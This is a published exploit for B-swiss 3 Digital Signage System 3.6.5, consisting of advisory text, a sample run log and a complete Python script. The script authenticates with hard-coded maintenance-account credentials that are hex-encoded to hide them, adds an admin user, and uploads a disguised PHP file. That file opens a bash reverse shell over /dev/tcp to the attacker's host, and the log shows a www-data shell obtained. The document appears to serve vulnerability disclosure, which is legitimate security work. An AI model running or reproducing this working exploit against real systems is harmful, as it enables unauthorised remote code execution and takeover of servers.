B-swiss 3 Digital Signage System 3.6.5 – Remote Code Execution
# Exploit Title: B-swiss 3 Digital Signage System 3.6.5 - Remote Code Execution # Date: 2020-08-27 # Exploit Author: LiquidWorm # Vendor Homepage: https://www.b-swiss.com # Version: <= 3.6.5 # CVE : N/A #!/usr/bin/env python3 # -*- coding: utf-8 -*- # # # B-swiss 3 Digital Signage System 3.6.5 Backdoor Remote Code Execution # # # Vendor: B-Swiss SARL | b-tween Sarl # Product web page: https://www.b-swiss.com # Affected version: 3.6.5 # 3.6.2 # 3.6.1 # 3.6.0 # 3.5.80 # 3.5.40 # 3.5.20 # 3.5.00 # 3.2.00 # 3.1.00 # # Summary: Intelligent digital signage made easy. To go beyond the # possibilities offered, b-swiss allows you to create the communication # solution for your specific needs and your graphic charter. You benefit # from our experience and know-how in the realization of your digital # signage project. # # Desc: The application suffers from an "authenticated" arbitrary # PHP code execution. The vulnerability is caused due to the improper # verification of uploaded files in 'index.php' script thru the 'rec_poza' # POST parameter. This can be exploited to execute arbitrary PHP code # by uploading a malicious PHP script file that will be stored in # '/usr/users' directory. Due to an undocumented and hidden "maintenance" # account 'admin_m' which has the highest privileges in the application, # an attacker can use these hard-coded credentials to authenticate and # use the vulnerable image upload functionality to execute code on the # server. # # ======================================================================================== # lqwrm@metalgear:~/prive$ python3 sign2.py 192.168.10.11 192.168.10.22 7777 # [*] Checking target... # [*] Good to go! # [*] Checking for previous attempts... # [*] All good. # [*] Getting backdoor session... # [*] Got master backdoor cookie: 0c1617103c6f50107d09cb94b3eafeb2 # [*] Starting callback listener child thread # [*] Starting handler on port 7777 # [*] Adding GUI credentials: test:123456 # [*] Executing and deleting stager file # [*] Connection from 192.168.10.11:40080 # [*] You got shell! # id ; uname -or # uid=33(www-data) gid=33(www-data) groups=33(www-data) # 4.15.0-20-generic GNU/Linux # exit # *** Connection closed by remote host *** # [?] Want me to remove the GUI credentials? y # [*] Removing... # [*] t00t! # lqwrm@metalgear:~/prive$ # ======================================================================================== # # Tested on: Linux 5.3.0-46-generic x86_64 # Linux 4.15.0-20-generic x86_64 # Linux 4.9.78-xxxx-std-ipv6-64 # Linux 4.7.0-040700-generic x86_64 # Linux 4.2.0-27-generic x86_64 # Linux 3.19.0-47-generic x86_64 # Linux 2.6.32-5-amd64 x86_64 # Darwin 17.6.0 root:xnu-4570.61.1~1 x86_64 # macOS 10.13.5 # Microsoft Windows 7 Business Edition SP1 i586 # Apache/2.4.29 (Ubuntu) # Apache/2.4.18 (Ubuntu) # Apache/2.4.7 (Ubuntu) # Apache/2.2.22 (Win64) # Apache/2.4.18 (Ubuntu) # Apache/2.2.16 (Debian) # PHP/7.2.24-0ubuntu0.18.04.6 # PHP/5.6.40-26+ubuntu18.04.1+deb.sury.org+1 # PHP/5.6.33-1+ubuntu16.04.1+deb.sury.org+1 # PHP/5.6.31 # PHP/5.6.30-10+deb.sury.org~xenial+2 # PHP/5.5.9-1ubuntu4.17 # PHP/5.5.9-1ubuntu4.14 # PHP/5.3.10 # PHP/5.3.13 # PHP/5.3.3-7+squeeze16 # PHP/5.3.3-7+squeeze17 # MySQL/5.5.49 # MySQL/5.5.47 # MySQL/5.5.40 # MySQL/5.5.30 # MySQL/5.1.66 # MySQL/5.1.49 # MySQL/5.0.77 # MySQL/5.0.12-dev # MySQL/5.0.11-dev # MySQL/5.0.8-dev # phpMyAdmin/3.5.7 # phpMyAdmin/3.4.10.1deb1 # phpMyAdmin/3.4.7 # phpMyAdmin/3.3.7deb7 # WampServer 3.2.0 # Acore Framework 2.0 # # # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic # Macedonian Information Security Research and Development Laboratory # Zero Science Lab - https://www.zeroscience.mk - @zeroscience # # # Advisory ID: ZSL-2020-5590 # Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5590.php # # # 13.06.2020 # from http.cookiejar import DefaultCookiePolicy# #yciloPeikooCtluafeD tropmi rajeikooc.ptth mofr from http.cookiejar import CookieJar# oOo #raJeikooC tropmi rajeikooc.ptth mofr from six.moves import input# #-----------------+-----------------# #tupni trompi sevom.xis morf from time import sleep# | 01 | 04 | #peels trompi emit morf import urllib.request# | | | | #tseuqer.billru tropmi import urllib.parse# | | | | #esrap.billru tropmi import telnetlib# | | | #biltenlet tropmi import threading# | | | | #gnidaerht tropmi import requests# | | | | #stseuqer tropmi import socket# | | o | #tekcos tropmi import sys,re# | | | #er,sys tropmi ############## #-----------------+-----------------# ############## ############### oOo ############### ################ | ################ #################### Y #################### ############################ _ ############################ ############################################################################################### class Sign: def __init__(self): self.username = b"\x61\x64\x6d\x69\x6e\x5f\x6d" self.altruser = b"\x62\x2d\x73\x77\x69\x73\x73" self.password = b"\x44\x50\x36\x25\x57\x33\x64" self.agent = "SignageBot/1.02" self.fileid = "251" self.payload = None self.answer = False self.params = None self.rhost = None self.lhost = None self.lport = None self.send = None def env(self): if len(sys.argv) != 4: self.usage() else: self.rhost = sys.argv[1] self.lhost = sys.argv[2] self.lport = int(sys.argv[3]) if not "http" in self.rhost: self.rhost = "http://{}".format(self.rhost) def usage(self): self.roger() print("Usage: python3 {} <RHOST[:RPORT]> <LHOST> <LPORT>".format(sys.argv[0])) print("Example: python3 {} 192.168.10.11:80 192.168.10.22 7777\n".format(sys.argv[0])) exit(0) def roger(self): waddup = """ ____________________ / \\ ! B-swiss 3 ! ! RCE ! \____________________/ ! ! ! ! L_ ! / _)! / /__L ____________/ (____) (____) ____________ (____) \_(____) ! ! ! ! \__/ """ print(waddup) def test(self): print("[*] Checking target...") try: r = requests.get(self.rhost) response = r.text if not "B-swiss" in response: print("[!] Not a b-swiss system") exit(0) if "B-swiss" in response: print("[*] Good to go!") next else: exit(-251) except Exception as e: print("[!] Ney ney: {msg}".format(msg=e)) exit(-1) def login(self): token = "" cj = CookieJar() self.params = {"locator" : "visitor.ProcessLogin", "username" : self.username, "password" : self.password, "x" : "0", "y" : "0"} damato = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj)) damato.addheaders.pop() damato.addheaders.append(("User-Agent", self.agent)) try: print("[*] Getting backdoor session...") damato.open(self.rhost + "/index.php", urllib.parse.urlencode(self.params).encode('utf-8')) for cookie in cj: token = cookie.value print("[*] Got master backdoor cookie: "+token) except urllib.request.URLError as e: print("[!] Connection error: {}".format(e.reason)) return token def upload(self): j = "\r\n" self.cookies = {"PNU_RAD_LIB" : self.rtoken} self.headers = {"Cache-Control" : "max-age=0", "Content-Type" : "multipart/form-data; boundary=----j", "User-Agent" : self.agent, "Accept-Encoding" : "gzip, deflate", "Accept-Language" : "en-US,en;q=0.9", "Connection" : "close"} self.payload = "<?php exec(\"/bin/bash -c 'bash -i > /dev/tcp/"+self.lhost+"/"+str(self.lport)+" <&1;rm "+self.fileid+".php'\");" print("[*] Adding GUI credentials: test:123456") # rec_adminlevel values: # ---------------------- # 100000 - "b-swiss Maintenance Admin" (Undocumented privilege) # 7 - "B-swiss admin" <---------------------------------------------------------------------------------------+ # 8 - Other | # | self.send = "------j{}Content-Disposition: form-data; ".format(j)# | self.send += "name=\"locator\"{}Users.Save{}------j{}Content-Disposition: form-data; ".format(j*2,j,j)# | self.send += "name=\"page\"{}------j{}Content-Disposition: form-data; ".format(j*3,j)# | self.send += "name=\"sort\"{}------j{}Content-Disposition: form-data; ".format(j*3,j)# | self.send += "name=\"id\"{}{}{}------j\r\nContent-Disposition: form-data; ".format(j*2,self.fileid,j,j)# | self.send += "name=\"ischildgrid\"{}------j{}Content-Disposition: form-data; ".format(j*3,j)# | self.send += "name=\"inpopup\"{}------j{}Content-Disposition: form-data; ".format(j*3,j)# | self.send += "name=\"ongridpage\"{}------j{}Content-Disposition: form-data; ".format(j*3,j)# | self.send += "name=\"rowid\"{}------j{}Content-Disposition: form-data; ".format(j*3,j)# | self.send += "name=\"preview_screenid\"{}------j{}Content-Disposition: form-data; ".format(j*3,j)# | self.send += "name=\"rec_firstname\"{}TestF{}------j{}Content-Disposition: form-data; ".format(j*2,j,j)# | self.send += "name=\"rec_lastname\"{}TestL{}------j{}Content-Disposition: form-data; ".format(j*2,j,2)# | self.send += "name=\"rec_email\"{}test@test.cc{}------j{}Content-Disposition: form-data; ".format(j*2,j,j)# | self.send += "name=\"rec_username\"{}test{}------j{}Content-Disposition: form-data; ".format(j*2,j,j)# | self.send += "name=\"rec_password\"{}123456{}------j{}Content-Disposition: form-data; ".format(j*2,j,j)# | self.send += "name=\"rec_cpassword\"{}123456{}------j{}Content-Disposition: form-data; ".format(j*2,j,j)# | self.send += "name=\"rec_adminlevel\"{}7{}------j{}Content-Disposition: form-data; ".format(j*2,j,j)# <----------+ self.send += "name=\"rec_status\"{}1{}------j{}Content-Disposition: form-data; ".format(j*2,j,j) self.send += "name=\"rec_poza\"; filename=\"Blank.jpg.php\"{}Content-Type: application/octet-stream{}".format(j,j*2) self.send += self.payload+"{}------j{}Content-Disposition: form-data; ".format(j,j) self.send += "name=\"rec_poza_face\"{}C:\\fakepath\\Blank.jpg{}------j{}Content-Disposition: form-data; ".format(j*2,j,j) self.send += "name=\"rec_language\"{}french-sw{}------j{}Content-Disposition: form-data; ".format(j*2,j,j) self.send += "name=\"rec_languages[]\"{}2{}------j{}Content-Disposition: form-data; ".format(j*2,j,j) self.send += "name=\"rec_can_change_password\"{}1{}------j--{}".format(j*2,j,j) requests.post(self.rhost+"/index.php", headers=self.headers, cookies=self.cookies, data=self.send) print("[*] Executing and deleting stager file") r = requests.get(self.rhost+"/usr/users/"+self.fileid+".php") sleep(1) self.answer = input("[?] Want me to remove the GUI credentials? ").strip() if self.answer[0] == "y" or self.answer[0] == "Y": print("[*] Removing...") requests.get(self.rhost+"/index.php?locator=Users.Delete&id="+self.fileid, headers=self.headers, cookies=self.cookies) if self.answer[0] == "n" or self.answer[0] == "N": print("[*] Cool!") print("[*] t00t!") exit(-1) def razmisluju(self): print("[*] Starting callback listener child thread") konac = threading.Thread(name="ZSL", target=self.phone) konac.start() sleep(1) self.upload() def fish(self): r = requests.get(self.rhost+"/usr/users/", verify=False, allow_redirects=False) response = r.text print("[*] Checking for previous attempts...") if not ".php" in response: print("[*] All good.") elif "251.php" in response: print("[!] Stager file \"{}.php\" still present on the server".format(self.fileid)) def phone(self): telnetus = telnetlib.Telnet() print("[*] Starting handler on port {}".format(self.lport)) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(("0.0.0.0", self.lport)) while True: try: s.settimeout(7) s.listen(1) conn, addr = s.accept() print("[*] Connection from {}:{}".format(addr[0], addr[1])) telnetus.sock = conn except socket.timeout as p: print("[!] No outgoing calls :( ({msg})".format(msg=p)) print("[+] Check your port mappings or increase timeout") s.close() exit(0) break print("[*] You got shell!") telnetus.interact() conn.close() def main(self): self.env() self.test() self.fish() self.rtoken = self.login() self.razmisluju() if __name__ == '__main__': Sign().main() |